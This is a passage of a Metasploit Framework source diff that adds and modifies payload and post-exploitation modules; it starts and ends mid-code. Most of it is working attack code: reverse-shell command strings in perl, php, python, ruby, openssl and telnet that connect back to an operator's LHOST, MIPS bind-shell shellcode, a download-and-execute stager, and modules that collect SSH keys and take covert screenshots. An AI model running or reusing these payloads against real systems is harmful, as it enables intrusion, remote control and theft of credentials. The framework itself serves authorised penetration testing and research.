Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd_bash', + 'RequiredCmd' => 'bash-tcp', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + pipe_name = Rex::Text.rand_text_alpha( rand(4) + 8 ) + cmd = "mknod #{pipe_name} p && telnet -z verify=0 #{datastore['LHOST']} #{datastore['LPORT']} 0<#{pipe_name} | $(which $0) 1>#{pipe_name} & sleep 10 && rm #{pipe_name} &" + end +end diff --git a/modules/payloads/singles/cmd/unix/reverse_openssl.rb b/modules/payloads/singles/cmd/unix/reverse_openssl.rb new file mode 100644 index 0000000000..ab9c0c2a13 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_openssl.rb @@ -0,0 +1,58 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_double_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Double reverse TCP SSL (openssl)', + 'Description' => 'Creates an interactive shell through two inbound connections', + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpDoubleSSL, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'openssl', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + cmd = + "sh -c '(sleep #{3600+rand(1024)}|" + + "openssl s_client -quiet -connect #{datastore['LHOST']}:#{datastore['LPORT']}|" + + "while : ; do sh && break; done 2>&1|" + + "openssl s_client -quiet -connect #{datastore['LHOST']}:#{datastore['LPORT']}" + + " >/dev/null 2>&1 &)'" + return cmd + end + +end diff --git a/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb new file mode 100644 index 0000000000..96724f20e7 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb @@ -0,0 +1,63 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP SSL (via perl)', + 'Version' => '$Revision$', + 'Description' => 'Creates an interactive shell via perl, uses SSL', + 'Author' => 'RageLtMan', + 'License' => BSD_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'perl', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + lhost = datastore['LHOST'] + ver = Rex::Socket.is_ipv6?(lhost) ? "6" : "" + lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) + cmd = "perl -e 'use IO::Socket::SSL;$p=fork;exit,if($p);" + cmd += "$c=IO::Socket::SSL->new(\"#{lhost}:#{datastore['LPORT']}\");" + cmd += "while(sysread($c,$i,8192)){syswrite($c,`$i`);}'" + end + +end diff --git a/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb new file mode 100644 index 0000000000..9892515e26 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb @@ -0,0 +1,61 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP SSL (via php)', + 'Version' => '$Revision$', + 'Description' => 'Creates an interactive shell via php, uses SSL', + 'Author' => 'RageLtMan', + 'License' => BSD_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'php', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + lhost = datastore['LHOST'] + ver = Rex::Socket.is_ipv6?(lhost) ? "6" : "" + lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) + cmd = "php -r '$s=fsockopen(\"ssl://#{datastore['LHOST']}\",#{datastore['LPORT']});while(!feof($s)){exec(fgets($s),$o);$o=implode(\"\\n\",$o);$o.=\"\\n\";fputs($s,$o);}'&" + end + +end diff --git a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb new file mode 100644 index 0000000000..a7e232d24b --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb @@ -0,0 +1,79 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)', + 'Version' => '$Revision$', + 'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.', + 'Author' => 'RageLtMan', + 'License' => BSD_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'python', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + cmd = '' + dead = Rex::Text.rand_text_alpha(2) + # Set up the socket + cmd += "import socket,subprocess,os,ssl\n" + cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" + cmd += "so.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" + cmd += "s=ssl.wrap_socket(so)\n" + # The actual IO + cmd += "#{dead}=False\n" + cmd += "while not #{dead}:\n" + cmd += "\tdata=s.recv(1024)\n" + cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n" + cmd += "\tproc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n" + cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n" + cmd += "\ts.send(stdout_value)\n" + + # The *nix shell wrapper to keep things clean + # Base64 encoding is required in order to handle Python's formatting requirements in the while loop + cmd = "python -c \"exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))\"" + cmd += ' >/dev/null 2>&1 &' + return cmd + + end + +end diff --git a/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb new file mode 100644 index 0000000000..6743def9e9 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb @@ -0,0 +1,49 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP SSL (via Ruby)', + 'Version' => '$Revision$', + 'Description' => 'Connect back and create a command shell via Ruby, uses SSL', + 'Author' => 'RageLtMan', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'ruby', + 'Payload' => { 'Offsets' => {}, 'Payload' => '' } + )) + end + + def generate + vprint_good(command_string) + return super + command_string + end + + def command_string + lhost = datastore['LHOST'] + lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) + "ruby -rsocket -ropenssl -e 'exit if fork;c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end'" + end +end diff --git a/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb new file mode 100644 index 0000000000..593e69d716 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb @@ -0,0 +1,67 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_double_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Double reverse TCP SSL (telnet)', + 'Version' => '$Revision$', + 'Description' => 'Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option', + 'Author' => [ + 'hdm', # Original module + 'RageLtMan', # SSL support + ], + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpDoubleSSL, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'telnet', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + cmd = + "sh -c '(sleep #{3600+rand(1024)}|" + + "telnet -z #{datastore['LHOST']} #{datastore['LPORT']}|" + + "while : ; do sh && break; done 2>&1|" + + "telnet -z #{datastore['LHOST']} #{datastore['LPORT']}" + + " >/dev/null 2>&1 &)'" + return cmd + end + +end diff --git a/modules/payloads/singles/generic/custom.rb b/modules/payloads/singles/generic/custom.rb index 68c0da9d21..d5f8ebab32 100644 --- a/modules/payloads/singles/generic/custom.rb +++ b/modules/payloads/singles/generic/custom.rb @@ -38,6 +38,10 @@ module Metasploit3 # Construct the payload # def generate + if datastore['ARCH'] + self.arch = actual_arch + end + if datastore['PAYLOADFILE'] IO.read(datastore['PAYLOADFILE']) elsif datastore['PAYLOADSTR'] diff --git a/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb new file mode 100644 index 0000000000..c4f305f513 --- /dev/null +++ b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb @@ -0,0 +1,123 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Payload::Linux + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Linux Command Shell, Bind TCP Inline', + 'Description' => 'Listen for a connection and spawn a command shell', + 'Author' => 'Vlatko Kosturjak', + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE, + 'Handler' => Msf::Handler::BindTcp, + 'Session' => Msf::Sessions::CommandShellUnix, + 'Payload' => + { + 'Offsets' => {} , + 'Payload' => '' + }) + ) + end + + def generate + if !datastore['LPORT'] + return super + end + + port = Integer(datastore['LPORT']) + port = [port].pack("n").unpack("cc"); + + # based on vaicebine at gmail dot com shellcode + # and scut paper Writing MIPS/Irix shellcode + shellcode = + "\xe0\xff\xbd\x27" + # addiu sp,sp,-32 + "\xfd\xff\x0e\x24" + # li t6,-3 + "\x27\x20\xc0\x01" + # nor a0,t6,zero + "\x27\x28\xc0\x01" + # nor a1,t6,zero + "\xff\xff\x06\x28" + # slti a2,zero,-1 + "\x57\x10\x02\x24" + # li v0,4183 ( __NR_socket ) + "\x0c\x01\x01\x01" + # syscall + "\x50\x73\x0f\x24" + # li t7,0x7350 (nop) + "\xff\xff\x50\x30" + # andi s0,v0,0xffff + "\xef\xff\x0e\x24" + # li t6,-17 + "\x27\x70\xc0\x01" + # nor t6,t6,zero + port.pack("C2") + "\x0d\x24" + # li t5,0xFFFF (port) + "\x04\x68\xcd\x01" + # sllv t5,t5,t6 + "\xff\xfd\x0e\x24" + # li t6,-513 + "\x27\x70\xc0\x01" + # nor t6,t6,zero + "\x25\x68\xae\x01" + # or t5,t5,t6 + "\xe0\xff\xad\xaf" + # sw t5,-32(sp) + "\xe4\xff\xa0\xaf" + # sw zero,-28(sp) + "\xe8\xff\xa0\xaf" + # sw zero,-24(sp) + "\xec\xff\xa0\xaf" + # sw zero,-20(sp) + "\x25\x20\x10\x02" + # or a0,s0,s0 + "\xef\xff\x0e\x24" + # li t6,-17 + "\x27\x30\xc0\x01" + # nor a2,t6,zero + "\xe0\xff\xa5\x23" + # addi a1,sp,-32 + "\x49\x10\x02\x24" + # li v0,4169 ( __NR_bind )A + "\x0c\x01\x01\x01" + # syscall + "\x50\x73\x0f\x24" + # li t7,0x7350 (nop) + "\x25\x20\x10\x02" + # or a0,s0,s0 + "\x01\x01\x05\x24" + # li a1,257 + "\x4e\x10\x02\x24" + # li v0,4174 ( __NR_listen ) + "\x0c\x01\x01\x01" + # syscall + "\x50\x73\x0f\x24" + # li t7,0x7350 (nop) + "\x25\x20\x10\x02" + # or a0,s0,s0 + "\xff\xff\x05\x28" + # slti a1,zero,-1 + "\xff\xff\x06\x28" + # slti a2,zero,-1 + "\x48\x10\x02\x24" + # li v0,4168 ( __NR_accept ) + "\x0c\x01\x01\x01" + # syscall + "\x50\x73\x0f\x24" + # li t7,0x7350 (nop) + "\xff\xff\x50\x30" + # andi s0,v0,0xffff + "\x25\x20\x10\x02" + # or a0,s0,s0 + "\xfd\xff\x0f\x24" + # li t7,-3 + "\x27\x28\xe0\x01" + # nor a1,t7,zero + "\xdf\x0f\x02\x24" + # li v0,4063 ( __NR_dup2 ) + "\x0c\x01\x01\x01" + # syscall + "\x50\x73\x0f\x24" + # li t7,0x7350 (nop) + "\x25\x20\x10\x02" + # or a0,s0,s0 + "\x01\x01\x05\x28" + # slti a1,zero,0x0101 + "\xdf\x0f\x02\x24" + # li v0,4063 ( __NR_dup2 ) + "\x0c\x01\x01\x01" + # syscall + "\x50\x73\x0f\x24" + # li t7,0x7350 (nop) + "\x25\x20\x10\x02" + # or a0,s0,s0 + "\xff\xff\x05\x28" + # slti a1,zero,-1 + "\xdf\x0f\x02\x24" + # li v0,4063 ( __NR_dup2 ) + "\x0c\x01\x01\x01" + # syscall + "\x50\x73\x0f\x24" + # li t7,0x7350 (nop) + "\x50\x73\x06\x24" + # li a2,0x7350 + "\xff\xff\xd0\x04" + # LB: bltzal a2,LB + "\x50\x73\x0f\x24" + # li t7,0x7350 (nop) + "\xff\xff\x06\x28" + # slti a2,zero,-1 + "\xc7\xff\x0f\x24" + # li t7,-57 + "\x27\x78\xe0\x01" + # nor t7,t7,zero + "\x21\x20\xef\x03" + # addu a0,ra,t7 + "\xf0\xff\xa4\xaf" + # sw a0,-16(sp) + "\xf4\xff\xa0\xaf" + # sw zero,-12(sp) + "\xf7\xff\x0e\x24" + # li t6,-9 + "\x27\x70\xc0\x01" + # nor t6,t6,zero + "\x21\x60\xef\x03" + # addu t4,ra,t7 + "\x21\x68\x8e\x01" + # addu t5,t4,t6 + "\xff\xff\xa0\xad" + # sw zero,-1(t5) + "\xf0\xff\xa5\x23" + # addi a1,sp,-16 + "\xab\x0f\x02\x24" + # li v0,4011 ( __NR_execve ) + "\x0c\x01\x01\x01" + # syscall + "/bin/sh" + end + +end diff --git a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb new file mode 100644 index 0000000000..ca70b10879 --- /dev/null +++ b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb @@ -0,0 +1,77 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)', + 'Version' => '$Revision$', + 'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.', + 'Author' => 'RageLtMan', + 'License' => BSD_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'python', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + cmd = '' + dead = Rex::Text.rand_text_alpha(2) + # Set up the socket + cmd += "import socket,subprocess,os,ssl\n" + cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" + cmd += "so.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" + cmd += "s=ssl.wrap_socket(so)\n" + # The actual IO + cmd += "#{dead}=False\n" + cmd += "while not #{dead}:\n" + cmd += "\tdata=s.recv(1024)\n" + cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n" + cmd += "\tproc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n" + cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n" + cmd += "\ts.send(stdout_value)\n" + + # The *nix shell wrapper to keep things clean + # Base64 encoding is required in order to handle Python's formatting requirements in the while loop + cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))" + return cmd + + end + +end diff --git a/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb new file mode 100644 index 0000000000..82f61c768d --- /dev/null +++ b/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb @@ -0,0 +1,52 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/payload/ruby' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Payload::Ruby + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Ruby Command Shell, Reverse TCP SSL', + 'Version' => '$Revision$', + 'Description' => 'Connect back and create a command shell via Ruby, uses SSL', + 'Author' => 'RageLtMan', + 'License' => MSF_LICENSE, + 'Platform' => 'ruby', + 'Arch' => ARCH_RUBY, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'ruby', + 'Payload' => { 'Offsets' => {}, 'Payload' => '' } + )) + end + + def generate + rbs = prepends(ruby_string) + vprint_good rbs + return rbs + end + + def ruby_string + lhost = datastore['LHOST'] + lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) + rbs = "require 'socket';require 'openssl';c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end" + return rbs + end +end diff --git a/modules/payloads/singles/windows/dns_txt_query_exec.rb b/modules/payloads/singles/windows/dns_txt_query_exec.rb index 213ff6dcf3..b0e6d146f9 100644 --- a/modules/payloads/singles/windows/dns_txt_query_exec.rb +++ b/modules/payloads/singles/windows/dns_txt_query_exec.rb @@ -253,6 +253,7 @@ jump_to_payload: EOS - the_payload = Metasm::Shellcode.assemble(Metasm::Ia32.new, payload_data).encode_string + self.assembly = payload_data + super end end diff --git a/modules/payloads/singles/windows/download_exec.rb b/modules/payloads/singles/windows/download_exec.rb index cef4369431..d0d68fe3b1 100644 --- a/modules/payloads/singles/windows/download_exec.rb +++ b/modules/payloads/singles/windows/download_exec.rb @@ -89,7 +89,8 @@ module Metasploit3 if target_uri =~ /^http:/ proto = "http" port_nr = 80 - dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n" + dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n" + #;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION end if target_uri =~ /^ftp:/ @@ -387,6 +388,7 @@ server_host: db "#{server_host}", 0x00 end: EOS - the_payload = Metasm::Shellcode.assemble(Metasm::Ia32.new, payload_data).encode_string + self.assembly = payload_data + super end end diff --git a/modules/payloads/singles/windows/messagebox.rb b/modules/payloads/singles/windows/messagebox.rb index 7aca7e92aa..46ecba9e6a 100644 --- a/modules/payloads/singles/windows/messagebox.rb +++ b/modules/payloads/singles/windows/messagebox.rb @@ -266,7 +266,8 @@ start_main: ;EXITFUNC #{doexit} EOS - the_payload = Metasm::Shellcode.assemble(Metasm::Ia32.new, payload_data).encode_string + self.assembly = payload_data + super end # diff --git a/modules/payloads/stagers/windows/reverse_http.rb b/modules/payloads/stagers/windows/reverse_http.rb index 10555580aa..916dc30509 100644 --- a/modules/payloads/stagers/windows/reverse_http.rb +++ b/modules/payloads/stagers/windows/reverse_http.rb @@ -47,7 +47,7 @@ module Metasploit3 "\xFF\xD5\x31\xFF\x57\x57\x57\x57\x6A\x00\x54\x68\x3A\x56\x79\xA7" + "\xFF\xD5\xEB\x4B\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11" + "\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x34\x59\x31\xD2" + - "\x52\x68\x00\x02\x20\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" + + "\x52\x68\x00\x02\x60\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" + "\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x31\xFF\x57\x57\x57\x57\x56\x68" + "\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74\x10\xEB\xE9\xEB" + "\x49\xE8\xC7\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00\x68\xF0\xB5" + diff --git a/modules/post/multi/gather/ssh_creds.rb b/modules/post/multi/gather/ssh_creds.rb index 60638eece6..4696674599 100644 --- a/modules/post/multi/gather/ssh_creds.rb +++ b/modules/post/multi/gather/ssh_creds.rb @@ -61,11 +61,12 @@ class Metasploit3 < Msf::Post end files.each do |file| - print_good("Downloading #{path}#{sep}#{file} -> #{file}") + next if [".", ".."].include?(file) data = read_file("#{path}#{sep}#{file}") file = file.split(sep).last loot_path = store_loot("ssh.#{file}", "text/plain", session, data, "ssh_#{file}", "OpenSSH #{file} File") + print_good("Downloaded #{path}#{sep}#{file} -> #{loot_path}") # If the key is encrypted, this will fail and it won't be stored as a # cred. That's ok because we can't really use encrypted keys anyway. diff --git a/modules/post/windows/gather/screen_spy.rb b/modules/post/windows/gather/screen_spy.rb index 7b53d9391f..5f1e1eb505 100644 --- a/modules/post/windows/gather/screen_spy.rb +++ b/modules/post/windows/gather/screen_spy.rb @@ -13,34 +13,39 @@ class Metasploit3 < Msf::Post super( update_info(info, 'Name' => 'Windows Gather Screen Spy', 'Description' => %q{ - This module will incrementally take screenshots of the meterpreter host. This + This module will incrementally take desktop screenshots from the host. This allows for screen spying which can be useful to determine if there is an active user on a machine, or to record the screen for later data extraction. + NOTES: set VIEW_CMD to control how screenshots are opened/displayed, the file name + will be appended directly on to the end of the value of VIEW_CMD (use 'auto' to + have the module do it's best...default browser for Windows, firefox for *nix, and + preview app for macs). 'eog -s -f -w' is a handy VIEW_CMD for *nix. To suppress + opening of screenshots all together, set the VIEW_CMD option to 'none'. }, 'License' => MSF_LICENSE, 'Author' => [ 'Roni Bachar ', # original meterpreter script 'bannedit', # post module - 'kernelsmith ', # record support + 'kernelsmith ', # record/loot support,log x approach, nx 'Adrian Kubok' # better record file names ], - 'Platform' => ['win'], + 'Platform' => ['win'], # @todo add support for posix meterpreter somehow? 'SessionTypes' => ['meterpreter'] )) register_options( [ - OptInt.new('DELAY', [false, 'Interval between screenshots in seconds', 5]), - OptInt.new('COUNT', [false, 'Number of screenshots to collect', 60]), - OptString.new('BROWSER', [false, 'Browser to use for viewing screenshots', 'firefox']), - OptBool.new('RECORD', [false, 'Record all screenshots to disk',false]) + OptInt.new('DELAY', [true, 'Interval between screenshots in seconds', 5]), + OptInt.new('COUNT', [true, 'Number of screenshots to collect', 6]), + OptString.new('VIEW_CMD', [false, 'Command to use for viewing screenshots (auto, none also accepted)', 'auto']), + OptBool.new('RECORD', [true, 'Record all screenshots to disk by looting them',false]) ], self.class) end def run host = session.session_host - screenshot = Msf::Config.install_root + "/data/" + host + ".jpg" + screenshot = Msf::Config.get_config_root + "/logs/" + host + ".jpg" migrate_explorer if session.platform !~ /win32|win64/i @@ -55,46 +60,73 @@ class Metasploit3 < Msf::Post return end - # here we check for the local platform and use default browsers - # linux is the one question mark firefox is not necessarily a - case ::Config::CONFIG['host'] # neat trick to get the local system platform - when /ming/ - cmd = "start #{datastore['BROWSER']} \"file://#{screenshot}\"" - when /linux/ - cmd = "#{datastore['BROWSER']} file://#{screenshot}" - when /apple/ - cmd = "open file://#{screenshot}" # this will use preview + # here we check for the local platform to determine what to do when 'auto' is selected + if datastore['VIEW_CMD'].downcase == 'auto' + case ::RbConfig::CONFIG['host_os'] + when /mac|darwin/ + cmd = "open file://#{screenshot}" # this will use preview usually + when /mswin|win|mingw/ + cmd = "start iexplore.exe \"file://#{screenshot}\"" + when /linux|cygwin/ + # This opens a new tab for each screenshot, but I don't see a better way + cmd = "firefox file://#{screenshot} &" + else # bsd/sun/solaris might be different, but for now... + cmd = "firefox file://#{screenshot} &" + end + elsif datastore['VIEW_CMD'].downcase == 'none' + cmd = nil + else + cmd = "#{datastore['VIEW_CMD']}#{screenshot}" end begin count = datastore['COUNT'] - print_status "Capturing %u screenshots with a delay of %u seconds" % [count, datastore['DELAY']] + print_status "Capturing #{count} screenshots with a delay of #{datastore['DELAY']} seconds" # calculate a sane number of leading zeros to use. log of x is ~ the number of digits - leading_zeros = Math::log(count,10).round + leading_zeros = Math::log10(count).round + file_locations = [] count.times do |num| select(nil, nil, nil, datastore['DELAY']) - data = session.espia.espia_image_get_dev_screen + begin + data = session.espia.espia_image_get_dev_screen + rescue RequestError => e + print_error("Error taking the screenshot: #{e.class} #{e} #{e.backtrace}") + return false + end if data if datastore['RECORD'] - # let's write it to disk using non-clobbering filename - shot = Msf::Config.install_root + "/data/" + host + ".screenshot.%0#{leading_zeros}d.jpg" % num - ss = ::File.new(shot, 'wb') - ss.write(data) - ss.close + # let's loot it using non-clobbering filename, even tho this is the source filename, not dest + fn = "screenshot.%0#{leading_zeros}d.jpg" % num + file_locations << store_loot("screenspy.screenshot", "image/jpg", session, data, fn, "Screenshot") end - fd = ::File.new(screenshot, 'wb') - fd.write(data) - fd.close + # also write to disk temporarily so we can display in browser. They may or may not have been RECORDed. + if cmd # do this if they have not suppressed VIEW_CMD display + fd = ::File.new(screenshot, 'wb') + fd.write(data) + fd.close + end end - system(cmd) + system(cmd) if cmd end - rescue ::Exception => e - print_error("Error taking screenshot: #{e.class} #{e} #{e.backtrace}") + rescue IOError, 